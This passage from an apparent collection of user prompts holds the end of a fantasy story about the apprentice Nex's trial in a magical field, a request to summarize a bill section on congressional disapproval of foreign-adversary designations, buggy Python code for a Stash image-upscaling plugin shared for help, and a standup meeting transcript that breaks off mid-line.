from his hips slowly above his head. In obedience, the river followed his lead, slowly rising out of the ravine until it was level with the gap. The water seemed to be like a carefully crafted pane of glass. There was not a single ripple on its surface. Any sediment carried by the river had been left on the dry earth below it. However, fish could still be seen casually swimming in the pristine water. \nWithout hesitation, Nex stepped onto the water bridge. He walked with cool confidence more focused on the words he was to say rather than the sheer drop below him. However, his foot never sank below the surface, nor did it even get wet. After a minute of walking, he finally reached the other side. He paused, furling his brows, then turned around. Nex recalled his first time traversing the ravine taking him a week of work, but after countless times of repeating the test, it was a breeze for him. After using his hands to lower the water back to its rightful place, he commanded it to resume.\n Nex’s stomach lurched as the path began to become more defined, and at the end of it, a small cabin came into sight. His skin would always go pale every time he saw it. It was an austere wood cabin with two chimneys protruding from the sides of it. Two medium-sized windows were covered by lush purple curtains with golden embroidering. An extensive garden surrounded the cabin growing medicinal herbs, fruits, and vegetables. As Nex continued on, his heart raced through his chest, and his lungs began to protest. His once somewhat coherent mantra hastened into an unintelligible cacophony as he realized he could no longer stall. He paused in front of the door, trembling. There was no way he could move, let alone speak. His face sunk deeper into itself as his breathing quickened, but no matter how hard he called for air, it felt like none came to him. He willed himself into raising his shaking hand to knock. All it would take was one small knock, yet his clenched fist hovered over the door. Hesitation.\nHe took a step back. Then another. He began to turn around to return back to his home. As he turned around to leave, he found himself suddenly rushing through the air. It felt as if a wild beast had just decided his insides needed to be smeared across the walls of the cabin and smashed into him. He let out a sharp yelp and scrambled to see who or what just pushed him to no avail. \nSlowly, the wooden door slowly creaked open on its own. To his surprise, the inside of the small cabin was much bigger on the inside with doors that seemingly led to rooms that couldn’t exist. He had heard tales of buildings like these, but to see one in person with its rugs that sported moving, intricate patterns, each perfectly in sync with the next. Its walls were littered with apparatuses that all connected together. A large stack of books, manuscripts, and scrolls lay perfectly stacked in piles on the floor next to an ornate ebony desk. Nex’s eyes sparkled as they darted over everything before him.\nFinally, his eyes rested on a wizened person that was looking at him warmly from a dark majoan desk with countless shifting runes inscribed on it. “It took you long enough. ” Their voice was androgenous and kind. Nex stood dumbstruck. He looked back at the door that he apparently had just crashed through. His face contorted as a wave of realization washed over him. He was inside of Jayen Wen’s house. Jayen Wen spoke again, “You seem like you’ve been through quite a rough time. I do hope the tests weren’t too difficult.”\nNex, realizing he hadn’t said anything, finally started to blurt out his carefully rehearsed introduction, but it was, at best, unintelligible. Jayen motioned to a seat that began moving in front of the desk, “ Do try to calm yourself, yes?” Nex obediently scurried over to the seat and sat down. Jayen’s eyes inspected Nex.\n“You stated your name as Nex, yes? What of your surname then?”\nNex slowly lowered his gaze to the desk and slightly slumped into the chair, “ None.” \nJayen’s eyebrows raised, then furled, “Hmmm. A Kusin then? Alright, What of your father’s at least?”\nNex’s gaze and posture sank even further, “He is a kusin as well.”\nJayen taps their finger rhythmically on the arm of the chair, “I see.” Their eyes began probing Nex as he sat slumped, analyzing every inch of him. \n“Well this just won’t do,” Jayen said as they started making precise movements with their hands. Nex had studied magic all of his life. From alchemy, arcanology, and spirit magic, he had a detailed understanding of all of the gestures that could be used in each field, yet these gestures baffled him. They were unnatural and unlike anything he’s ever seen. There weren’t arcane symbols or runes, there weren’t chemical arrays or displays, yet when it was completed, he felt a warm, bubbling feeling wash over him emanating from within him. Nex could feel the torn muscle fibre within him being knit back together, and the skin around his wounds tighten as they are repaired and made taut. \n” I’ve never seen magic that heals like this before, “ he paused thoughtfully, “not without a cost.” \nJayen shook their head,” There’s always a cost, dear boy. Just a matter of the currency used. Now, what is the reason you’ve come to see me?” Nex’s face soured with those words, but he quickly glanced around at the different apparatuses and the horde of books, and his gaze became steely.\nNex cleared his throat, “Master Jayen Wen if it pleases you, would you take me as your apprentice?” \nJayen smiled warmly, “I’ve been watching you come to my door for the last two moons and turning away once you got here. Truth be told, I always teach anyone that could make it to my door,” Jayen eyed him curiously, “but you not only made it here once, but forty-six times. I simply couldn’t stand for it to be a forty-seventh, so I gave you a little push in the right direction.” Jayen’s smile turned mischievous with that last bit, and Nex’s face turned an embarrassing red as he both profusely apologized and thanked them. Then, a quizzical look sprouted on his face, “But, I’m a kusin. Lyfe, I’m a kusin of a kusin. I assumed someone of your worth wouldn’t want to train someone as low as I.”\nFor a second, a flicker of disgust flashed on Jayen’s face before their usual composed face took hold, “What of it? I am not so vain as to deprive a rose of water because it might blossom.” Jayen paused, rubbing their chin contemplatively, “However, there is one final test. For a kusin such as yourself. Arguably the hardest, mind you, but if you can pass this one. You will be worthy of being my apprentice.”\nNex perked up, “Anything.”\nJayen sighed, “Then, let us begin. Follow me.”\n The pair weaved through the massive library’s rows and columns until they reached a long corridor filled with doors adorned with various portraits. Each portrait seemed to be an intricate landscape of different locations. If he squinted, he could even see what could be tiny beings in the pictures bustling about their days. Most of the places he had seen in books, others he had visited while performing his studies, and few he hadn’t even imagined. However, Jayen paused on a door without a portrait. \n“This test will not be like any other so far. Your objective is to return here,” Jayen said. Jayen’s cheerful face had grown grim, “You’re sure you want to be my apprentice, kusin?” Nex nodded his head without hesitation. Jayen sighed again, then quickly opened the door and pushed Nex in. \nThen, survive.\n The frameless door stood solitary around a weave of shrubs and brush until it slowly faded into nothingness. Around him, a sea of vibrant amber stalks stretched out endlessly to the horizon. Individually, the stalks stood translucent, radiating a soft glow, but as a collective, the stalks melded together, forming rolling waves of gleaming radiance in the night atmosphere. As Nex looked into the sky, he saw it was a uniform black haze, not a single cloud floated in the sky, nor did a single star dot it, yet no matter where he looked, every surface was illuminated by some unknown source from up above. Nex quickly reached for his satchel and produced his journal. As he opened it, no sigils or words sprang forth. He opened the book to the runes he had written to animate the journal in dull black ink. Nex frowned. \nHe produced a pebble from his satchel. The measurestone was supposed to be multicolored and vibrant, but it, instead, was yellowish, gray. Nex frantically emptied his satchel and rifled through all of his journals, arcane stones, and magics. His breathing grew labored as he shouted and gestured manically attempting to produce any sort of magic, but his efforts were in vain. He quickly rose and attempted to draw runes in the air. However, where he expected bright streaks to follow his fingers, he saw nothing at all. After shaking his head, he perked up and picked up a black leatherbound journal dusted with stark white dots labeled Star Map. He fingered through page after page of atlases and astronomical maps. However, without stars in the sky to act as his guide nor landmarks in the uniform sea of light, his search proved fruitless. \nUnder the unchanging sky, time was just a construct. Nex had no idea how long he had walked. Hours could have been days for all he knew. At first, he looked out at the field and admired its beauty, taking the time to sketch it to the best of his ability. He had to stop after running out of paper in his empty journals. As time moved on, he tried seeing figures in the waves to entertain himself. Once, he was able to see mighty grochas riding the waves as he had seen once in Drago. The massive beasts easily glided over the stalks before sinking below the surface again, causing surging surfs of dimming lights in their wake. If he were, to be honest with himself, he might have embellished the mental image, but it was more fun than reality. As he looked out, he noticed a wave heading towards him. This wave was smaller than the rest that occasionally passed by. Usually, when they came, the preceding stalk would slightly dim then return to normal luminosity. However, the lightstalks in the wake of this wave did not shine. They laid dim and lifeless, leaving a dark scar in the field marking where this wave had traveled. After a closer look, Nex noticed the lightstalks before the wave would burst with a blinding light before being snuffed out by the….what was that.\n With the wall of light before the creature, Nex couldn’t quite see its features, but it was large and pale like freshly cleaned teeth. Despite its size, it moved swiftly. He noticed it wasn’t quite going toward him. It was heading in the direction he had come from. Nex squinted at it, but the bright light caused him to wince and rub his eyes. He tried drawing a sigil that would allow him to see it better then chided himself once it failed to work. It stopped. The wall of light subsided as it raised its head in Nex’s direction. His mouth went dry. The creature stood on four sturdy legs that were covered in a pale yellow fur that resembled the lightstalks surrounding it. Its head had large metallic horns protruding from it where its eyes should be, and its large mouth was a serrated tunnel of gyrating metal teeth. It stood on its hindlegs allowing Nex to see the plated scales on its belly. It sniffed the air. As it did, its entire body pulsated with light in rhythm with its nostrils flaring. Nex began to slowly back away, but his hand slightly brushed a stalk, which caused it to dim slightly. The creature’s fur bristled. Nex felt a weight in his belly, and his blood chilled as its head sharply turned towards him. It let out a ghastly howl before charging towards him. Nex cursed under his breath and began to sprint. \nAs he ran, lightstalks brushed against him, causing them to dim. Nex glanced over his shoulder to see the hulking frame of the beast encroaching on him. He pumped his legs as fast as they would take him and looked around for anywhere to hide. Despite his running, he noticed that he didn’t feel tired. He made a mental note of that while racking his brain on how to survive. It had to be a part of the test. Nex didn’t have to hear the pounding of the creature’s paws against the ground and the jagged vortex that was its mouth as it sucked the light out of the stalks near in front of it, but he looked anyway. It really didn’t have eyes. He saw as it maneuvered its horns side to side as if tracking him through scent. It let out another blaring roar that left Nex’s ears ringing. The sinking feeling in his stomach worsened. His heart pumped in his throat. He felt the suction of the animal start to tug at his body. As it did, he began to feel lethargic. He tried moving his arms and legs, but they refused to listen. The cacophony of the creature's mouth with its spinning metal teeth played his requiem. He felt as the energy started to burn as the air around him fiercely pulled at him, beckoning him to stop. Stars appeared in his vision. Nex knew if he didn’t do something, he would die. A meal for a creature he had never seen anywhere in any of the bestiaries he’s studied. Summoning the last ounce of his strength, Nex leaped to the side, dodging the creature. \nHe rolled then finally lay slumped, barely able to get himself to a kneeling position. It continued on its path before standing on its hindlegs slowly swiveling its head as it had done before. He watched as the animal turned its head leading with its horns as if trying to find his position. Nex carefully picked up a small stone. As he did, a sharp pain shot up his arm. He had to will himself not to cry out lest the beast find out where he is. Tears formed at the edges of his eyes as he steeled himself and chucked the stone. As it landed, a few lightstalks sparked then wilted as the stone hit them. The creature snapped its head in that direction and began chasing after the stone. Nex didn’t move a muscle until he saw the blackened path left by the creature go over a distant hill. Once the beast was gone, Nex doubled over and vomited. The pain he felt across his body subsided to a dull ache until it evaporated entirely. Nex looked in the direction the beast had gone and walked in the opposite direction.\n He had heard the wails of the beast several times in the course of him walking. Whenever he did, he would avoid any and all movement to avoid it seeing him. Being alert constantly had tired Nex’s mind, yet he didn’t feel the need to sleep. Even though he had sprinted for way too long, he never felt exhaustion as if he could run forever. He had also noticed that he hadn’t felt even a twinge of hunger or thirst the entire time he had been in this place. \nHe thought back to his mother’s cooking before she had left him.His favorite was always the sweet meat pie she would make on special occasions. He slowly fell back onto the ground, tucked his knees to his chin, buried his face in them, and began to cry. He cried until his eyes were raw from him wiping his tears. He beat his fist into the spongy earth until his knuckles were bloodied. He thought back to the Alpu, and how it had fought to the bitter end to survive. Slowly, he came to his feet, retrieved his yellow journal from his satchel, and began to take note of everything he has learned of the place he is in." +"Summarize this section for me:\n\nSEC. 7. RESOLUTION OF DISAPPROVAL OF DESIGNATION OR REMOVAL OF \n DESIGNATION OF A FOREIGN ADVERSARY.\n\n (a) Definition.--In this section--\n (1) the term ``covered joint resolution'' means a joint \n resolution of disapproval of designation or a joint resolution \n of disapproval of removal of designation;\n (2) the term ``joint resolution of disapproval of \n designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the designation by the Secretary of Commerce of \\_\\_\\_ \n as a foreign adversary for purposes of the Securing the \n Information and Communications Technology and Services Supply \n Chain Act of 2023, and such designation shall have no force or \n effect until the Secretary of Commerce provides specific \n evidence to the relevant committees of Congress regarding the \n removal of designation under section 6(a) of that Act.'' (The \n blank space being appropriately filled in with the name of the \n foreign person of which the Secretary has designated as a \n foreign adversary of for purposes of this Act); and\n (3) the term ``joint resolution of disapproval of removal \n of designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the removal of designation by the Secretary of \n Commerce of \\_\\_\\_ as a foreign adversary for purposes of the \n Securing the Information and Communications Technology and \n Services Supply Chain Act of 2023, and such removal shall have \n no force or effect until the Secretary of Commerce provides \n specific evidence to the relevant committees of Congress \n regarding the removal of designation under section 6(a) of that \n Act.'' (The blank space being appropriately filled in with the \n name of the foreign government or regime of which the Secretary \n has removed the designation as a foreign adversary of for \n purposes of this Act).\n (b) Expedited Consideration of Legislation.--\n (1) Initiation.--In the event the Secretary designates a \n foreign government or regime as a foreign adversary or removes \n such designation as a foreign adversary, a joint resolution of \n disapproval of designation or a joint resolution of disapproval \n of removal of designation, as applicable, that is introduced \n during the 60-calendar day period thereafter shall be entitled \n to expedited consideration pursuant to this subsection.\n (2) Introduction.--During the 60-calendar day period \n provided for in paragraph (1), a covered joint resolution may \n be introduced--\n (A) in the Senate, by the Majority Leader (or the \n designee of the Majority Leader) or the Minority Leader \n (or the designee of the Minority Leader); and\n (B) in the House of Representatives, by the Speaker \n or the Minority Leader.\n (3) Floor consideration in house of representatives.--\n (A) Reporting and discharge.--If a relevant \n committee of the House to which a covered joint \n resolution has been referred has not reported such \n covered joint resolution within 10 legislative days \n after the date of referral, that committee shall be \n discharged from further consideration thereof.\n (B) Proceeding to consideration.--Beginning on the \n third legislative day after each committee to which \n covered joint resolution has been referred reports the \n covered joint resolution to the House or has been \n discharged from further consideration thereof, it shall \n be in order to move to proceed to consider the covered \n joint resolution in the House. All points of order \n against the motion are waived. Such a motion shall not \n be in order after the House has disposed of a motion to \n proceed on the covered joint resolution with regard to \n the same agreement. The previous question shall be \n considered as ordered on the motion to its adoption \n without intervening motion. The motion shall not be \n debatable. A motion to reconsider the vote by which the \n motion is disposed of shall not be in order.\n (C) Consideration.--The covered joint resolution \n shall be considered as read. All points of order \n against the covered joint resolution and against its \n consideration are waived. The previous question shall \n be considered as ordered on the covered joint \n resolution to final passage without intervening motion \n except 2 hours of debate equally divided and controlled \n by the sponsor of the covered joint resolution (or a \n designee) and an opponent. A motion to reconsider the \n vote on passage of the covered joint resolution shall \n not be in order.\n (4) Consideration in the senate.--\n (A) Committee referral.--A covered joint resolution \n introduced in the Senate shall be referred to the \n relevant committees of the Senate.\n (B) Reporting and discharge.--If a relevant \n committee of the Senate has not reported such covered \n joint resolution within 10 session days after the date \n of referral of such legislation, that committee shall \n be discharged from further consideration of such \n legislation and the covered joint resolution shall be \n placed on the appropriate calendar.\n (C) Proceeding to consideration.--Notwithstanding \n Rule XXII of the Standing Rules of the Senate, it is in \n order at any time after each committee authorized to \n consider covered joint resolution reports it to the \n Senate or has been discharged from its consideration \n (even though a previous motion to the same effect has \n been disagreed to) to move to proceed to the \n consideration of the covered joint resolution, and all \n points of order against covered joint resolution (and \n against consideration of the covered joint resolution) \n are waived. The motion to proceed is not debatable. The \n motion is not subject to a motion to postpone. A motion \n to reconsider the vote by which the motion is agreed to \n or disagreed to shall not be in order. If a motion to \n proceed to the consideration of the covered joint \n resolution is agreed to, the covered joint resolution \n shall remain the unfinished business until disposed of.\n (D) Debate.--Debate on covered joint resolution, \n and on all debatable motions and appeals in connection \n therewith, shall be limited to not more than 10 hours, \n which shall be divided equally between the majority and \n minority leaders or their designees. A motion to \n further limit debate is in order and not debatable. An \n amendment to, or a motion to postpone, or a motion to \n proceed to the consideration of other business, or a \n motion to recommit the covered joint resolution is not \n in order.\n (E) Vote on passage.--The vote on passage shall \n occur immediately following the conclusion of the \n debate on the covered joint resolution and a single \n quorum call at the conclusion of the debate, if \n requested in accordance with the rules of the Senate.\n (F) Rulings of the chair on procedure.--Appeals \n from the decisions of the Chair relating to the \n application of the rules of the Senate, as the case may \n be, to the procedure relating to a covered joint \n resolution shall be decided without debate.\n (G) Consideration of veto messages.--Debate in the \n Senate of any veto message with respect to a covered \n joint resolution, including all debatable motions and \n appeals in connection with such covered joint \n resolution, shall be limited to 10 hours, to be equally \n divided between, and controlled by, the Majority Leader \n and the Minority Leader or their designees.\n (5) Rules relating to senate and house of \n representatives.--\n (A) Coordination with action by other house.--If, \n before the passage by one House of a covered joint \n resolution of that House, that House receives a covered \n joint resolution from the other House, then the \n following procedures shall apply:\n (i) The covered joint resolution of the \n other House shall not be referred to a \n committee.\n (ii) With respect to covered joint \n resolution of the House receiving the \n legislation--\n (I) the procedure in that House \n shall be the same as if no covered \n joint resolution had been received from \n the other House; but\n (II) the vote on passage shall be \n on the covered joint resolution of the \n other House.\n (B) Treatment of a covered joint resolution of \n other house.--If one House fails to introduce a covered \n joint resolution under this section, the covered joint \n resolution of the other House shall be entitled to \n expedited floor procedures under this section.\n (C) Treatment of companion measures.--If, following \n passage of the covered joint resolution in the Senate, \n the Senate then receives a companion measure from the \n House of Representatives, the companion measure shall \n not be debatable.\n (c) Rules of Senate and House of Representatives.--Subsection (b) \nis enacted by Congress--\n (1) as an exercise of the rulemaking power of the Senate \n and the House of Representatives, respectively, and as such are \n deemed a part of the rules of each House, respectively, but \n applicable only with respect to the procedure to be followed in \n that House in the case of legislation described in those \n sections, and supersede other rules only to the extent that \n they are inconsistent with such rules; and\n (2) with full recognition of the constitutional right of \n either House to change the rules (so far as relating to the \n procedure of that House) at any time, in the same manner, and \n to the same extent as in the case of any other rule of that \n House.\n (d) Effect of Covered Joint Resolution.--\n (1) Joint resolutions of disapproval of designation.--A \n joint resolution of disapproval of designation that is enacted \n in accordance with this section shall remove the designation as \n a foreign adversary of a foreign government or regime that is \n the subject of the joint resolution of disapproval of \n designation for purposes of this Act.\n (2) Joint resolutions of disapproval of removal of \n designation.--A joint resolution of disapproval of removal of \n designation that is enacted in accordance with this section \n shall prohibit the removal of designation as a foreign \n adversary of a foreign government or regime that is the subject \n of the joint resolution of disapproval of removal of \n designation for purposes of this Act.1 / 1" +'Here is the complete code. Beforehand, it\'s a plugin to a react site written in go, that hooks with a yaml file to provide buttons on the site. One set to setup tags and another to perform performer image ai upscaling of the image. When client.upscale\\_PerformerImage() is invoked, it\'s supposed to run through def upscale\\_PerformerImage and then findTagIdWithName to find the tag name, and then findPerformersByTag to find performer who have been tagged by the tag name, then get the image of the performer and upscale it. Here is the code import config\\_manager\nimport configparser\nimport requests\nimport sys\nimport json\nimport pathlib\nimport os\nfrom gigapixel import Gigapixel, Scale, Mode\nfrom pathlib import Path\n\n# Path to Gigapixel executable file.\nexe\\_path = Path(\'B:\\Program Files\\Topaz Labs LLC\\Topaz Gigapixel AI\\Topaz Gigapixel AI.exe\')\n\n# Output file suffix. (e.g. pic.jpg -> pic-gigapixel.jpg)\n# You should set same value inside Gigapixel (File -> Preferences -> Default filename suffix).\noutput\\_suffix = \'-gigapixel\'\n\n# Create Gigapixel instance.\napp = Gigapixel(exe\\_path, output\\_suffix)\n\nconfigpath = os.path.join(pathlib.Path(\\_\\_file\\_\\_).parent.resolve(), \'config.ini\')\n\ndef get\\_config\\_value(config\\_file, section, option):\n config = configparser.ConfigParser()\n config.read(config\\_file)\n return config.get(section, option)\n\n \nclass upscale\\_with:\n\n def \\_\\_init\\_\\_(self, url):\n self.url = url\n self.api\\_key = get\\_config\\_value(configpath, \'STASH\', \'api\\_key\')\n stash\\_url = get\\_config\\_value(configpath, \'STASH\', \'url\')\n if not stash\\_url:\n self.error("You need to set the URL in \'config.ini\'")\n return None\n self.stash\\_url = stash\\_url + "/graphql"\n self.headers = {\n "Accept-Encoding": "gzip, deflate, br",\n "Content-Type": "application/json",\n "Accept": "application/json",\n "Connection": "keep-alive",\n "DNT": "1",\n "ApiKey": self.api\\_key\n }\n \n def log(self, level, message):\n print(f"[{level.upper()}] {message}")\n \n def \\_\\_prefix(self,levelChar):\n startLevelChar = b\'\\x01\'\n endLevelChar = b\'\\x02\'\n\n ret = startLevelChar + levelChar + endLevelChar\n return ret.decode()\n\n def \\_\\_log(self,levelChar, s):\n if levelChar == "":\n return\n\n print(self.\\_\\_prefix(levelChar) + s + "\\n", file=sys.stderr, flush=True)\n\n def trace(self,s):\n self.\\_\\_log(b\'t\', s)\n\n def debug(self,s):\n self.\\_\\_log(b\'d\', s)\n\n def info(self,s):\n self.\\_\\_log(b\'i\', s)\n\n def warning(self,s):\n self.\\_\\_log(b\'w\', s)\n\n def error(self,s):\n self.\\_\\_log(b\'e\', s)\n\n def progress(self,p):\n progress = min(max(0, p), 1)\n self.\\_\\_log(b\'p\', str(progress))\n\n def \\_\\_callGraphQL(self, query, variables=None):\n json = {}\n json[\'query\'] = query\n if variables != None:\n json[\'variables\'] = variables\n\n # handle cookies\n response = requests.post(self.url, json=json, headers=self.headers)\n\n if response.status\\_code == 200:\n result = response.json()\n if result.get("error", None):\n for error in result["error"]["errors"]:\n raise Exception("GraphQL error: {}".format(error))\n if result.get("data", None):\n return result.get("data")\n else:\n raise Exception(\n "GraphQL query failed:{} - {}. Query: {}. Variables: {}".format(response.status\\_code, response.content, query, variables))\n \n \n def listTags(self):\n query = """\n query {\n allTags {\n id\n name\n }\n }"""\n\n result = self.\\_\\_callGraphQL(query)\n return result["allTags"]\n \n\n def findTagIdWithName(self, name):\n query = """\nquery {\n allTags {\n id\n name\n }\n}\n """\n\n result = self.\\_\\_callGraphQL(query)\n name = \'upscale\\_with\\_Gigapixel\'\n for tag in result["allTags"]:\n if tag["name"] == name:\n return tag["id"]\n return None\n \n\n def createTagWithName(self, name):\n query = """\nmutation tagCreate($input:TagCreateInput!) {\n tagCreate(input: $input){\n id \n }\n}\n"""\n variables = {\'input\': {\n \'name\': name\n }}\n\n result = self.\\_\\_callGraphQL(query, variables)\n return result["tagCreate"]["id"]\n\n def destroyTag(self, id):\n query = """\nmutation tagDestroy($input: TagDestroyInput!) {\n tagDestroy(input: $input)\n}\n"""\n variables = {\'input\': {\n \'id\': id\n }}\n self.\\_\\_callGraphQL(query, variables)\n \n def findPerformersByTag(self, id):\n query = """query performer\\_images($performer\\_filter: PerformerFilterType!) {\n findPerformers(performer\\_filter: $performer\\_filter filter: {per\\_page: -1}){\n\n performers{\n id\n name\n image\\_path\n tags{\n name\n }\n }\n}\n}"""\n variables = {\'performer\\_filter\': {\n \'tags\': {\n \'value\': id, \'modifier\': \'INCLUDES\', \'depth\':1\n \n }\n }}\n self.error(json.dumps(variables))\n result = self.\\_\\_callGraphQL(query)\n\n for performer in tag["id"]:\n return result["findPerformers"]["performers"]["image\\_path"]\n\n \n# Adding Gigapixel Now\n def processPerformerImage(self, result, id):\n # for performer in self.findPerformersByTag(image\\_path):\n # id = self.findPerformersByTag(id)\n \n # Name of the image file\n file\\_name = \'image.jpg\'\n \n image = requests.get(image\\_path).content\n \n # Create a Path object for the current directory\n current\\_dir = Path.cwd()\n \n # Save the image data to a file in the current directory\n with open(current\\_dir / file\\_name, \'wb\') as f:\n f.write(image\\_data)\n # Variable for saved image\n image\\_saved = Path(current\\_dir + \'/image.jpg\')\n output\\_path = app.process(image\\_saved, scale=Scale.X2, mode=Mode.STANDARD)\n \n # processPerformerImage(output\\_path) \n \n query = """\nmutation performerUpdate($performer\\_update\\_input: PerformerUpdateInput!){\n performerUpdate(input: $performer\\_update\\_input){\n id\n }\n}\n """\n variables = {"performer\\_update\\_input": {"image": result, "id": id}}\n\n # result = self.\\_\\_callGraphQL(query, variables)\n # return result["performerUpdate"]\n return self.\\_\\_callGraphQL(query, variables)\n\n def setup\\_tags(self):\n tagName=\'upscale\\_with\\_Gigapixel\'\n tagID = self.findTagIdWithName(tagName)\n if tagID == None:\n tagID = self.createTagWithName(tagName)\n self.debug("adding tag "+tagName)\n else:\n self.debug("tag exists, "+tagName)\n\n def upscale\\_PerformerImage(self):\n tagName=\'upscale\\_with\\_Gigapixel\'\n tagID=self.findTagIdWithName(tagName)\n if tagID == None:\n self.debug("Error no tag for upscale\\_PerformerImage")\n else:\n self.debug("Tag exists for upscale\\_PerformerImage") \n \n performers=self.findPerformersByTag(tagID)\n for performer in performers:\n if tags["name"].startswith("upscale\\_with\\_Gigapixel"):\n self.info("Upscaling all performer images with tag: "+str(tag["name"]))\n self.processPerformerImage(tag["id"])\n # performers = self.findPerformersByTag(\'id\')\n # performers = self.processPerformerImage(tag["id"])\n # if tag["name"][12:] in performers:\n # self.processPerformerImage(tag["id"])\n\n# Press the green button in the gutter to run the script.\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n if len(sys.argv) > 1:\n url = "http://localhost:9999/graphql"\n if len(sys.argv) > 2:\n url = sys.argv[2]\n\n if sys.argv[1] == "setup":\n client = upscale\\_all(url)\n client.setup\\_tags()\n elif sys.argv[1] =="upscale\\_all":\n client = upscale\\_all(url)\n client.upscale\\_PerformerImage()\n elif sys.argv[1]== "api":\n fragment = json.loads(sys.stdin.read())\n scheme=fragment["server\\_connection"]["Scheme"]\n port=fragment["server\\_connection"]["Port"]\n domain="localhost"\n if "Domain" in fragment["server\\_connection"]:\n domain = fragment["server\\_connection"]["Domain"]\n if not domain:\n domain=\'localhost\'\n url = scheme + "://" + domain + ":" +str(port) + "/graphql"\n\n client=upscale\\_with(url)\n mode=fragment["args"]["mode"]\n client.debug("Mode: "+mode)\n if mode == "setup":\n client.setup\\_tags()\n elif mode == "upscale\\_all":\n # current\\_dir = Path.cwd()\n # client.processPerformerImage(str(current\\_dir) + \'/image-gigapixel.jpg\')\n client.upscale\\_PerformerImage()\n else:\n print("")\n \n# upscaler = upscale\\_with(url)\n# result = upscaler.listTags()\n# upscaler.processPerformerImage(output\\_path)' +"Convert this transcript for a development meeting into meeting notes. \n\nDev Standup 1/23/23\nMeeting started: Jan 23,2023 11:46:19 PM\nDuration: 16mins 35s\nAirgram link: https://app.airgram.io/7023310957585629185/my-meetings/087469789b3511edaac30a2cbd030b4d\n \nTranscript\nMiles Morton (00:01)\nIn that would be really great. The miles gets the system. \nKevin Fitzpatrick (00:27)\nOkay. So should we start now. \nMiles Morton (00:30)\nOut of Miles assistant is here. Yeah, I think. I think we can start. Okay. \nKevin Fitzpatrick (00:37)\nCool. Let me just. What am I doing. Just go share a screen. There it is. Okay. \nKevin Fitzpatrick (00:51)\nOkay. Cool. Let's start with Cyrus. \nCyrus Collier (01:03)\nYou can move. \nKevin Fitzpatrick (01:06)\nThe engage thing to in progress that's that. The bottom of there and the criterion. \nCyrus Collier (01:11)\nI just moved in. I'm gonna Criterion week done. Okay. And then. I have to do with the BA stuff. I guess they're all just kind of neural and beta. \nCyrus Collier (01:26)\nGravity plus thing. \nKevin Fitzpatrick (01:30)\nWednesday. Yep. They scheduled it. I saw that. \nCyrus Collier (01:35)\nYeah, I'm hoping to have that engaged thing actually wrapped up today. I didn't get to it on a Friday because there was some criterion issues, but Dev one environment was down. \nCyrus Collier (01:46)\nFriday, but. While taking all that stuff. But it's actually good that I waited, because then I realized I didn't actually have to go through the trouble of writing a whole, like, script. To do this. I can just do it with some equal queries. So I'm just testing it out right now and then I can just run those. \nCyrus Collier (02:05)\nEnvironments and be done with it. That's good, nice and clean. \nKevin Fitzpatrick (02:16)\nCool. Spence. \nVincent Ragosta (02:22)\nI wrapped up. The ABM stuff. I'm just pulling over here. I wrap OB on Friday, and I did the redirect stuff. I know there was an additional redirect for either Oklahoma or OSM, \nKevin Fitzpatrick (02:32)\nwhich I will handle. Okay. \nVincent Ragosta (02:34)\nWhen I get back and then I know the older contact forms came back as well from QA. So I will be addressing that as well today. \nKevin Fitzpatrick (02:44)\nOh, yeah, miles, did you do your key way on those yet. \nMiles Morton (02:48)\nOn which one Avian contact forms. \nMiles Morton (02:51)\nNo, \nKevin Fitzpatrick (02:52)\nI haven't done my QA on the contact form. Okay, so that would just be something. Vince, you could probably hold until Miles takes a look. So this way you could just do it all at once. \nVincent Ragosta (03:03)\nOkay. No problem. Is pictures from home ready to work? \nKevin Fitzpatrick (03:10)\nOh, no. \nKevin Fitzpatrick (03:12)\nMilestones today. \nVincent Ragosta (03:15)\nOkay. So then I seem light at the moment. \nKevin Fitzpatrick (03:18)\nUnless there's anything. How about the studio? \nVincent Ragosta (03:20)\nYou done with the studio, right. \nJeremy Strom (03:26)\nThere's also this task that you put on me, Kevin. Without you I think we talked about. \nJeremy Strom (03:34)\nEvents doing an initial pass on that. \nKevin Fitzpatrick (03:39)\nOkay. All right, so that would be a priority. Today, \nVincent Ragosta (03:44)\nthen. Okay. So then focus on out over studio. \nKevin Fitzpatrick (03:49)\nYeah. I mean, John asked about the studio on Friday website, so I'm like getting a little. \nKevin Fitzpatrick (03:54)\nNervy about that. But we could. Yeah. \nDonald Deane (03:57)\nWithout you would be definitely be the priority. Kev, I forget it's. Without you the one that has to be done on the cheap. \nJeremy Strom (04:09)\nThere's a wireframe right that Miles made. \nJeremy Strom (04:13)\nSo, Vince, what I was thinking is basically. There are, you know, pages and components and content that needs to be. Scaffolded out. You know, like the NAV. Navs, burger and header stuff. Media Carousel, I think. \nJeremy Strom (04:35)\nThings like that that instead of making a whole design. Of all the pages and everything. We would just Dev it out and. The user our best judgment and design. To do what we can? Oh, yeah? We calendar. \nJeremy Strom (04:57)\nAnd. Then. Miles would give feedback on changes. Does site exist already and have a color palette already? It does. Yeah. There's a landing page that has those two those two buttons VIP tickets and Get tickets, which currently are part of the page content. So that needs to be moved into. \nJeremy Strom (05:20)\nThe header. Component. And adding a menu. There is already I already built a quote rotator on that page that was never. It ended up not being used. I think so that component should already be there with styled arrows and everything. \nJeremy Strom (05:44)\nSo you'll want to look for that. But yeah, hopefully we can just kind of. You know, scaffold out the components and content with some default. You know, styles that are consistent with the existing. Style Guide and. \nJeremy Strom (06:11)\nLet me just go from there. So the idea is to do it as just as quickly as possible. \nKevin Fitzpatrick (06:17)\nYeah. \nVincent Ragosta (06:17)\nThere's 16 hours to do this. And. \nKevin Fitzpatrick (06:22)\nI don't know how many you have. I don't know, Jeremy, how much you plan up. But there's also a media page, \nVincent Ragosta (06:26)\nVince. \nKevin Fitzpatrick (06:27)\nThere's a menu that we're gonna have to do because the site doesn't have a menu. And there's an about page. \nMiles Morton (06:34)\nKevin, did you say that the Media pit, that the media page had to. Have. News articles because that wasn't in the nodes, \nKevin Fitzpatrick (06:44)\nand I didn't put it in the wire. \nKevin Fitzpatrick (06:45)\nNo, the media. Yes, you're right. The media page did have to have news articles. \nMiles Morton (06:49)\nOkay. It's not in any of the documentation. Was that just relayed to you. \nKevin Fitzpatrick (06:54)\nNo, no, it wasn't a documentation. It was in the original spec. I read. \nMiles Morton (06:58)\nSo. I guess I couldn't. I didn't see it. \nKevin Fitzpatrick (07:02)\nBut so it's just like a was in the Google document. \nMiles Morton (07:06)\nThumbnails and links to articles. Yeah, I guess. \nKevin Fitzpatrick 